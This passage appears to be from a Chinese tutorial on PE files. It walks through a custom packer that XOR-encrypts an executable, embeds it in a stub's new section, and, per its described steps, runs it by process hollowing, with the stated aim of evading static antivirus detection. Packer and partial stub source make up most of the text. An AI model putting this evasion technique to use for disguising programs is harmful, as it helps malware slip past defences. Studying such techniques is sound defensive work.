			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT133);
			 sprintf(info,"%08x",DN.d12.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT134);
			 sprintf(info,"%08x",DN.d12.size);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT135);
			 sprintf(info,"%08x",DN.d13.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT136);
			 sprintf(info,"%08x",DN.d13.size);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT137);
			 sprintf(info,"%08x",DN.d14.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT138);
			 sprintf(info,"%08x",DN.d14.size);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT139);
			 sprintf(info,"%08x",DN.d15.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT140);
			 sprintf(info,"%08x",DN.d15.size);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT141);
			 sprintf(info,"%08x",DN.d16.address);
			 SetWindowText(hwnd, info);
			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT142);
			 sprintf(info,"%08x",DN.d16.size);
			 SetWindowText(hwnd, info);

		}

	case WM_COMMAND:
		{
		switch(LOWORD(wParam))
		{
		case IDC_BUTTON11:
			{
				EndDialog(hwndDlg,0);
				break;
			}
		case IDC_BUTTON111:
			{
				if(DN.d1.size!=0)
				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG112),NULL,DIRECTION1_DEAL);
				break;
			}
		case IDC_BUTTON112:
			{	
				if(DN.d2.size!=0)
				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG111),NULL,DIRECTION2_DEAL);
				break;
			}
		case IDC_BUTTON113:
			{
				if(DN.d3.size!=0)
				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG113),NULL,DIRECTION3_DEAL);
				break;
			}
		case IDC_BUTTON114:
			{
				if(DN.d6.size!=0)
				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG114),NULL,DIRECTION4_DEAL);
				break;
			}
		case IDC_BUTTON115:
			{
				if(DN.d12.size!=0)
				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG115),NULL,DIRECTION5_DEAL);
				break;
			}
		}

		}

	}
	return false;
}
BOOL CALLBACK PE_DEAL(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{						
	switch(uMsg)
	{
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_INITDIALOG:
		{
			 getInfo();
			 HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1);
			 TCHAR info[0x20];
			 sprintf(info,"%08x",headers_file.e_lfanew);
			 SetWindowText(hwnd, info);    

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT2);
			 sprintf(info,"%08x",headers_file.ImageBase);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT3);
			 sprintf(info,"%08x",headers_file.SizeOfImage);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT4);
			 sprintf(info,"%08x",headers_file.BaseOfData);//数据
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT5);
			 sprintf(info,"%08x",headers_file.BaseOfCode);//代码
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT6);
			 sprintf(info,"%08x",headers_file.SectionAlignment);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT7);
			 sprintf(info,"%08x",headers_file.FileAlignment);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT8);
			 sprintf(info,"%04x",headers_file.Characteristics);//标志字
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT9);
			 sprintf(info,"%08x",headers_file.EntryPoint);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT10);
			 sprintf(info,"%04x",headers_file.NumberOfSections);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT11);
			 sprintf(info,"%08x",headers_file.TimeDateStamp);//时间戳
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT12);
			 sprintf(info,"%08x",headers_file.SizeOfHeaders);
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT13);
			 sprintf(info,"%08x",headers_file.NumberOfRvaAndSizes);//特征直
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT14);
			 sprintf(info,"%08x",headers_file.CheckSum);//校验和
			 SetWindowText(hwnd, info);

			 hwnd = GetDlgItem(hwndDlg, IDC_EDIT15);
			 sprintf(info,"%04x",headers_file.SizeOfOptionalHeader);
			 SetWindowText(hwnd, info);

		}

	case WM_COMMAND:
		{
		switch(LOWORD(wParam))
		{
		case IDC_BUTTONA1:
			{
				EndDialog(hwndDlg,0);
				break;
			}
		case IDC_BUTTONA2:
			{
				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN12),NULL,SECTION_DEAL);
				break;
			}
		case IDC_BUTTONA3:
			{
				DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN11),NULL,DIRECTION_DEAL);
				break;
			}
		}

		}

	}
	return false;
}
void getInfo_2(char* start){
	headers_file.e_lfanew = get_int_data(start,60);
	start = start+headers_file.e_lfanew;
	headers_file.NumberOfSections = get_short_data(start,6);
	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
	start = start+24;
	headers_file.EntryPoint = get_int_data(start,16);
	headers_file.ImageBase = get_int_data(start,28);
	headers_file.SectionAlignment = get_int_data(start,32);
	headers_file.SizeOfImage = get_int_data(start,56);
	headers_file.FileAlignment = get_int_data(start,36);
	headers_file.SizeOfHeaders = get_int_data(start,60);
}
char* memcopy_image_2(char* start_file){
	char* start_image;
	start_image = (char*)malloc(headers_file.SizeOfImage);
	memset(start_image,0,headers_file.SizeOfImage);
	memcpy(start_image,start_file,headers_file.SizeOfHeaders);
	int i;
	char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
	for(i=0;i<headers_file.NumberOfSections;i++){
		sections.PointerToRawData = get_int_data(start_section,20);
		sections.SizeOfRawData = get_int_data(start_section,16);
		sections.VirtualAddress = get_int_data(start_section,12);
		sections.VirtualSize = get_int_data(start_section,8);
		memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
		start_section = start_section+40;
	}
	return start_image;
}
void addcode(char* start_image){
	int point = (int)start_image;
	memcpy(start_image+sections.VirtualAddress,p2,flen);
			
}

char* add_section_2(char* start_image){
	char* start_new_image;
	if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
		//printf("space is not statific");
	}
	else{
		//printf("space is statific");
		start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
		memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
		memcpy(start_new_image,start_image,headers_file.SizeOfImage);
		*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
		*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
		memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
		*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
		printf("%x",(flen/0x1000+1)*0x1000);
		int a;
		if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
			a = sections.VirtualAddress+sections.VirtualSize;
		}
		else{
			a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
		}
		//sections.VirtualSize = headers_file.SectionAlignment;
		if(sections.VirtualSize>sections.SizeOfRawData){
			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
		}
		else{
			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
		}
		//printf("%x\n",a);
		
		//sections.VirtualAddress =   sections.VirtualAddress+sections.VirtualSize;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) =  (flen/0x1000+1)*0x1000;
		//sections.SizeOfRawData = headers_file.FileAlignment;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
		if(sections.VirtualSize>sections.SizeOfRawData){
			sections.VirtualAddress = a;}
		else{
			sections.VirtualAddress = a;
		}
		sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
		sections.VirtualSize = (flen/0x1000+1)*0x1000;
		sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
	}
	addcode(start_new_image);
	return start_new_image;
}
char* memcopy_file_2(char* start_image){
	char* start_file;
	start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000);
	//printf("%x",flen+headers_file.SectionAlignment);
	memset(start_file,0,len1+(flen/0x1000+1)*0x1000); 
	memcpy(start_file,start_image,headers_file.SizeOfHeaders);
	int i; 
	char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
	for(i=0;i<headers_file.NumberOfSections+1;i++){
		sections.PointerToRawData = get_int_data(start_section,20);
		sections.SizeOfRawData = get_int_data(start_section,16);
		sections.VirtualAddress = get_int_data(start_section,12);
		memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
		start_section = start_section+40;
	}
	return start_file;
}
void copy_file_2(char* start_file){
	FILE* fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\加密后.exe","wb");
	fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp);
	fclose(fp);
}
void up_Info(char* start){
	char* start_new;
	start_new = (char*)malloc(headers_file.SizeOfHeaders);
	memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
	memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
	free(start_new);
	*(int*)(start+60) = 64;
}
char* readfile(char* path){
	FILE* fp;
	fp = fopen(path,"rb");
	if(fp == NULL){
		printf("file error");
	}
	fseek(fp,0L,SEEK_END);
	flen = ftell(fp);
	fseek(fp,0L,SEEK_SET);
	char* buffer;
	buffer = (char*)malloc(flen);
	fread(buffer,flen,1,fp);
	fclose(fp);
	return buffer;
}
void encrypt(char* data,int len){
	for(int i =0;i<len;i++)
	{
		data[i] ^='4310';
	}
}
VOID Loading_Shell()			
{
	char shellPath[1024] = "shellC.exe";
	p1 = readfile(shellPath);
	len1 = flen;
	p2 = get_file();
	len2 = flen;
	encrypt(p2,len2);
	getInfo_2(p1);
	up_Info(p1);
	getInfo_2(p1);
	char* start_image = memcopy_image_2(p1);
	free(p1);
	char* start_new_image = add_section_2(start_image);
	free(start_image);
	char* start_file = memcopy_file_2(start_new_image);
	copy_file_2(start_file);
	free(start_file);
//	return 0;
}
BOOL CALLBACK DialogProc(									
						 HWND hwndDlg,  // handle to dialog box			
						 UINT uMsg,     // message			
						 WPARAM wParam, // first message parameter			
						 LPARAM lParam  // second message parameter			
						 )			
{									
	hwndDlg1 = hwndDlg;
	switch(uMsg)								
	{	
	case WM_INITDIALOG:
		{
			HICON hIcon = LoadIcon(hInstanceicon,MAKEINTRESOURCE(IDI_ICON1));
			SendMessage(hwndDlg,WM_SETICON,ICON_BIG,(long)hIcon);
			SendMessage(hwndDlg,WM_SETICON,ICON_SMALL,(long)hIcon);
			InitProcessListView(hwndDlg);
			InitProcessListView_down(hwndDlg);

			return true;
		}
	case WM_CLOSE:
		{
			EndDialog(hwndDlg,0);
			break;
		}
	case WM_COMMAND:
		{
			switch(LOWORD(wParam))
			{
			case IDC_BUTTON1:
				{
					TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys";
					TCHAR szFileName[256];
					memset(szFileName,0,256);
					memset(&stOpenFile,0,sizeof(OPENFILENAME));
					stOpenFile.lStructSize = sizeof(OPENFILENAME);
					stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST;
					stOpenFile.hwndOwner = hwndDlg;
					stOpenFile.lpstrFilter = szPeFileExt;
					stOpenFile.lpstrFile = szFileName;
					stOpenFile.nMaxFile = MAX_PATH;
					
					GetOpenFileName(&stOpenFile);

					DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN1),NULL,PE_DEAL);
					return true;
				}
			case IDC_BUTTON4:
				{
					TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys";
					TCHAR szFileName[256];
					memset(szFileName,0,256);
					memset(&stOpenFile,0,sizeof(OPENFILENAME));
					stOpenFile.lStructSize = sizeof(OPENFILENAME);
					stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST;
					stOpenFile.hwndOwner = hwndDlg;
					stOpenFile.lpstrFilter = szPeFileExt;
					stOpenFile.lpstrFile = szFileName;
					stOpenFile.nMaxFile = MAX_PATH;
					
					GetOpenFileName(&stOpenFile);
					
					Loading_Shell();
					return true;
				}
			case IDC_BUTTON3:
				{
					EndDialog(hwndDlg,0);
					return true;
				}
			}
	case WM_NOTIFY:
		{
			NMHDR* pNMHDR = (NMHDR*)lParam;
			if(wParam == IDC_PROCESS1 && pNMHDR->code == NM_CLICK)
			{
				EnumModules(GetDlgItem(hwndDlg,IDC_PROCESS1),wParam,lParam,GetDlgItem(hwndDlg,IDC_PROCESS2));
			}
		}
		}
	}


	return FALSE ;								
}									


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	// TODO: Place code here.
	hInstanceicon = hInstance;
	INITCOMMONCONTROLSEX icex;	
	icex.dwSize = sizeof(INITCOMMONCONTROLSEX);	
	icex.dwICC = ICC_WIN95_CLASSES;	
	InitCommonControlsEx(&icex);

	DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG_MAIN),NULL,DialogProc);

	return 0;
}

 三、加壳思路及代码实现

  •  思路

1、获取Shell程序的路径

2、获取src程序的路径

3、将src程序读取到内存中,加密(我使用了最简单的异或,密钥是“4310”,可以随意更换加密方式)   

4、在Shell程序中新增一个节,并将加密后的src程序追加到Shell程序的新增节中

5、加壳过程完毕

 

 

  •  壳子程序思路

1、获取SHELL程序的路径

2、获取src的数据

(1) 定为到SHELL文件的最后一个节

(2) 将数据取出,并解密

3、拉伸PE

将解密后的PE文件在内存中拉伸,并存储到缓冲区中

4、以挂起方式运行Shell进程

(0) 以挂起形成创建Shell进程,并得到主线程的Context

(1) 卸载外壳程序的文件镜像(ZwUnmapViewOfSection)

(2) 在指定的位置(src的ImageBase)申请指定大小(src的SizeOfImage)的内存(VirtualAllocEx)

(3) 如果创建失败,查看src是否包含重定位表,如果包含重定位表,就在任意位置申请(src的SizeOfImage)
大小的内存,然后修复重定位表.

(4) 如果在指定位置申请内存失败,并且没有重定位表的数据,直接返回失败.

(5) 如果内存申请成功,将新的数据复制到内存中

(6) 修正运行环境的基址和入口地址

(7) 恢复主线程执行

  • 壳子程序流程

1、读取主模块的数据

2、解密:得到原来的PE文件

3、以挂起的形式创建进程:CreateProcess :要创建的进程在哪里?

要创建的进程,就是壳子本身!

4、获取外壳程序的Context,后面要用.

5、卸载外壳程序.

6、在指定的位置分配空间:位置就是src的ImageBase 大小就是Src的SizeOfImage

7、如果成功,将Src的PE文件拉伸 复制到该空间中

8、如果申请空间失败,但有重定位表:在任意位置申请空间,然后将PE文件拉伸、复制、修复重定位表。

9、如果第6步申请空间失败,并且还没有重定位表,直接返回:失败.

10、修改外壳程序的Context:

将Context的ImageBase 改成 Src的ImageBase

将Context的OPE 改成 Src的OEP

11、设置Context 并恢复主线程

12、终止外壳程序,解壳过程结束.

  • 原理

这样对加壳后的程序进行分析,分析的是壳子程序本身,而不是原程序,达到了防止静态检测的目的,但是对动态检测效果甚微。

  • 代码

加密部分:

// 加密部分.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
int flen,len1;
int flag = 1;
char* p1;
char* p2;
typedef struct PE{
	int e_lfanew;
	short NumberOfSections;
	short SizeOfOptionalHeader;
	int EntryPoint;
	int ImageBase ;
	int SectionAlignment ;
	int SizeOfImage;
	int FileAlignment;
	int SizeOfHeaders;
}headers;

typedef struct sec{
	int PointerToRawData;
	int SizeOfRawData;
	int VirtualAddress;
	int VirtualSize;
}section;

headers headers_file;
section sections;
char get_char_data(char* start,int distance){
	char data = *(start+distance);
	return data;
}
short get_short_data(char* start,int distance){
	short data =*(short*) (start+distance);
	return data;
}
int get_int_data(char* start,int distance){
	int data =*(int*) (start+distance);
	return data;
}
void getInfo(char* start){
	headers_file.e_lfanew = get_int_data(start,60);
	start = start+headers_file.e_lfanew;
	headers_file.NumberOfSections = get_short_data(start,6);
	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
	start = start+24;
	headers_file.EntryPoint = get_int_data(start,16);
	headers_file.ImageBase = get_int_data(start,28);
	headers_file.SectionAlignment = get_int_data(start,32);
	headers_file.SizeOfImage = get_int_data(start,56);
	headers_file.FileAlignment = get_int_data(start,36);
	headers_file.SizeOfHeaders = get_int_data(start,60);
}
char* memcopy_image(char* start_file){
	char* start_image;
	start_image = (char*)malloc(headers_file.SizeOfImage);
	memset(start_image,0,headers_file.SizeOfImage);
	memcpy(start_image,start_file,headers_file.SizeOfHeaders);
	int i;
	char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
	for(i=0;i<headers_file.NumberOfSections;i++){
		sections.PointerToRawData = get_int_data(start_section,20);
		sections.SizeOfRawData = get_int_data(start_section,16);
		sections.VirtualAddress = get_int_data(start_section,12);
		sections.VirtualSize = get_int_data(start_section,8);
		memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
		start_section = start_section+40;
	}
	return start_image;
}
void addcode(char* start_image){
	int point = (int)start_image;
	memcpy(start_image+sections.VirtualAddress,p2,flen);
			
}

char* add_section(char* start_image){
	char* start_new_image;
	if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
		printf("space is not statific");
	}
	else{
		printf("space is statific");
		start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
		memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
		memcpy(start_new_image,start_image,headers_file.SizeOfImage);
		*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
		*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
		memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
		*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
		printf("%x",(flen/0x1000+1)*0x1000);
		int a;
		if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
			a = sections.VirtualAddress+sections.VirtualSize;
		}
		else{
			a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
		}
		//sections.VirtualSize = headers_file.SectionAlignment;
		if(sections.VirtualSize>sections.SizeOfRawData){
			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
		}
		else{
			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
		}
		printf("%x\n",a);
		
		//sections.VirtualAddress =   sections.VirtualAddress+sections.VirtualSize;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) =  (flen/0x1000+1)*0x1000;
		//sections.SizeOfRawData = headers_file.FileAlignment;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
		if(sections.VirtualSize>sections.SizeOfRawData){
			sections.VirtualAddress = a;}
		else{
			sections.VirtualAddress = a;
		}
		sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
		sections.VirtualSize = (flen/0x1000+1)*0x1000;
		sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
	}
	addcode(start_new_image);
	return start_new_image;
}
char* memcopy_file(char* start_image){
	char* start_file;
	start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000);
	//printf("%x",flen+headers_file.SectionAlignment);
	memset(start_file,0,len1+(flen/0x1000+1)*0x1000); 
	memcpy(start_file,start_image,headers_file.SizeOfHeaders);
	int i; 
	char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
	for(i=0;i<headers_file.NumberOfSections+1;i++){
		sections.PointerToRawData = get_int_data(start_section,20);
		sections.SizeOfRawData = get_int_data(start_section,16);
		sections.VirtualAddress = get_int_data(start_section,12);
		memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
		start_section = start_section+40;
	}
	return start_file;
}
void copy_file(char* start_file){
	FILE* fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\4310.exe","wb");
	fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp);
	fclose(fp);
}
void up_Info(char* start){
	char* start_new;
	start_new = (char*)malloc(headers_file.SizeOfHeaders);
	memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
	memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
	free(start_new);
	*(int*)(start+60) = 64;
}
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
char* readfile(char* path){
	FILE* fp;
	fp = fopen(path,"rb");
	if(fp == NULL){
		printf("file error");
	}
	fseek(fp,0L,SEEK_END);
	flen = ftell(fp);
	fseek(fp,0L,SEEK_SET);
	char* buffer;
	buffer = (char*)malloc(flen);
	fread(buffer,flen,1,fp);
	fclose(fp);
	return buffer;
}
void encrypt(char* data,int len){
	for(int i =0;i<len;i++)
	{
		data[i] ^='4310';
	}
}
int main(int argc, char *argv[]) {
	char shellPath[1024] = "C:\\Program Files\\Microsoft Visual Studio1\\MyProjects\\shellC\\Debug\\shellC.exe";
	char srcPath[1024] = "C:\\Documents and Settings\\Administrator\\桌面\\MyGetColor.exe";
	int len2;
	p1 = readfile(shellPath);
	len1 = flen;
	p2 =readfile(srcPath);
	len2 = flen;
	encrypt(p2,len2);
	getInfo(p1);
	up_Info(p1);
	getInfo(p1);
	char* start_image = memcopy_image(p1);
	free(p1);
	char* start_new_image = add_section(start_image);
	free(start_image);
	char* start_file = memcopy_file(start_new_image);
	copy_file(start_file);
	free(start_file);
	return 0;
}

  壳子程序:

// shellC.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include <stdlib.h>
typedef struct PE{
	int e_lfanew;
	short NumberOfSections;
	short SizeOfOptionalHeader;
	int EntryPoint;
	int ImageBase ;
	int SectionAlignment ;
	int SizeOfImage;
	int FileAlignment;
	int SizeOfHeaders;
}headers;

typedef struct sec{
	int PointerToRawData;
	int SizeOfRawData;
	int VirtualAddress;
	int VirtualSize;
}section;

headers headers_file;
section sections;

char get_char_data(char* start,int distance){
	char data = *(start+distance);
	return data;
}
short get_short_data(char* start,int distance){
	short data =*(short*) (start+distance);
	return data;
}
int get_int_data(char* start,int distance){
	int data =*(int*) (start+distance);
	return data;
}
void getInfo(char* start){
	headers_file.e_lfanew = get_int_data(start,60);
	start = start+headers_file.e_lfanew;
	headers_file.NumberOfSections = get_short_data(start,6);
	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
	start = start+24;
	headers_file.EntryPoint = get_int_data(start,16);
	headers_file.ImageBase = get_int_data(start,28);
	headers_file.SectionAlignment = get_int_data(start,32);
	headers_file.SizeOfImage = get_int_data(start,56);
	headers_file.FileAlignment = get_int_data(start,36);
	headers_file.SizeOfHeaders = get_int_data(start,60);
}
char* Get_src(char* start){
	char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
	for(int i=0;i<headers_file.NumberOfSections;i++){
		sections.PointerToRawData = get_int_data(start_section,20);
		sections.SizeOfRawData = get_int_data(start_section,16);
		sections.VirtualAddress = get_int_data(start_section,12);
		sections.VirtualSize = get_int_data(start_section,8);
		start_section = start_section+40;
	}
	return start+sections.PointerToRawData;
}
void Decode(char* src,int size){
	for(int i =0;i<size;i++)
	{
		src[i] ^='4310';
	}
}
char* memcopy_image(char* start_file){
	char* start_image;
	start_image = (char*)malloc(headers_file.SizeOfImage);
	memset(start_image,0,headers_file.SizeOfImage);
	memcpy(start_image,start_file,headers_file.SizeOfHeaders);
	int i;
	char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
	for(i=0;i<headers_file.NumberOfSections;i++){
		sections.PointerToRawData = get_int_data(start_section,20);
		sections.SizeOfRawData = get_int_data(start_section,16);
		sections.VirtualAddress = get_int_data(start_section,12);
		sections.VirtualSize = get_int_data(start_section,8);
		memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
		start_section = start_section+40;
	}
	return start_image;
}
/*VOID ModificationBaseRel(IN LPVOID ImageBuffer, DWORD newImageBase) {
            PIMAGE_DOS_HEADER pDosHeader = NULL; //DOs 头
            PIMAGE_NT_HEADERS pNTHeader = NULL; //NT头
            PIMAGE_FILE_HEADER pFileHeader = NULL; // 标准PE头
            PIMAGE_OPTIONAL_HEADER pOptionHerader = NULL; // 可选PE头
            PIMAGE_SECTION_HEADER pSectionHeader = NULL; // 节表
            PIMAGE_BASE_RELOCATION pBaseRelocation = NULL; //重定位表
         
            pDosHeader = (PIMAGE_DOS_HEADER)ImageBuffer;
            pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
            pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + sizeof(DWORD));
            pOptionHerader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pFileHeader + IMAGE_SIZEOF_FILE_HEADER);
            pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionHerader + pFileHeader->SizeOfOptionalHeader);
            pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pDosHeader + pOptionHerader->DataDirectory[5].VirtualAddress);
         
            pOptionHerader->ImageBase = newImageBase;
         
            int index = 0;
            while (pBaseRelocation->VirtualAddress != 0) {
         
                int count = (pBaseRelocation->SizeOfBlock - 8) / 2;
                PWORD addr = (PWORD)((DWORD)pBaseRelocation + 8);
         
                for (int i = 0; i < count; i++) {
                    DWORD height4 = addr[i] >> 12;
                    if (height4 == 3) {
                        DWORD low12 = addr[i] & 0x0fff;
                        DWORD rva = pBaseRelocation->VirtualAddress + low12;
                        PDWORD addr = (PDWORD)((DWORD)ImageBuffer + rva);
                        *addr = *addr - pOptionHerader->ImageBase + newImageBase;
                    }
                }
                index++;
                pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseRelocation + pBaseRelocation->SizeOfBlock);
            }
        }*/
int main(int argc, char* argv[])
{
	char FilePath[255] = {0};
	GetModuleFileName(NULL,FilePath,255);
	char currentDirectory[255] = {0};
	GetCurrentDirectory(256,currentDirectory);
	//printf("%s",currentDirectory);
	int flen;
	FILE* fp;
	fp = fopen(FilePath,"rb");
	if(fp == NULL){
		printf("file error");
	}
	fseek(fp,0L,SEEK_END);
	flen = ftell(fp);
	fseek(fp,0L,SEEK_SET);
	char* buffer;
	buffer = (char*)malloc(flen);
	fread(buffer,flen,1,fp);
	fclose(fp);

	getInfo(buffer);
	char* src = Get_src(buffer);
